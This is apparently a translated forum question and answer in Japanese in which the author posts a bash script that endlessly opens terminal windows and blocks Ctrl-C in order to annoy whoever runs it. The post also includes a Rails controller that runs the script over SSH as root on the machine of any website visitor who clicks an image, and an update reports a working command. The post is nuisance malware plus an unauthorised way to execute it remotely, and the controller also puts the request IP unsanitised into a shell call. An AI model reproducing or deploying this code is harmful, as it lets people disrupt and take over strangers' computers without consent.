0

端末を閉じる方法がなく、端末を繰り返し開き、次々と保持するこのbashスクリプトがあります。目標は、たまたまこのプログラムを実行した人を困らせることです。そのソースコードは次のとおりです。

#!/bin/bash
while true

do
  gnome-terminal -x sh -c "./<name-of-script.sh>; bash"
  clear
  sleep 1
  trap '' 2
  exit
done

私はこれをテストしましたが、希望どおりに動作します。私がやろうとしているのは、このスクリプトをリモート ホストで実行することです。ruby on rails の Web サイトで、クリックしてこのスクリプトを実行しようとするイメージを設定しました。誰かが実行すると、call_script2 というコントローラー関数が実行されます。これまでのところ、次のようなものがあります。

def call_script2
   remote_ip = request.ip
   #system("scp /home/ncs/<script.sh> root@#{remote_ip}:/root/")
   system("ssh root@#{remote_ip} sudo home/ncs/./<script.sh>")
   render 'script/index'
end

私が達成しようとしているのは、特定の画像をクリックしたときに、リモート ホストで bash スクリプトの内容を実行することです。ご覧のとおり、ホストのスクリプトをルート ディレクトリにアップロードしてから、bash プログラムを実行しようとしましたが、成功しませんでした。これができない場合は、SSH以外のものを使用してもまったく問題ありません。

これについてのあなたの考えを自由に共有してください。私の投稿を読んでくれてありがとう。すてきな一日を!

更新:次を使用して、この目標を達成できました。

    system("ssh -t root@#{remote_ip} DISPLAY=:0 ./Thorgrim.sh")

この投稿にコメントして私を助けてくれたすべての人に感謝します!

4

0 に答える 0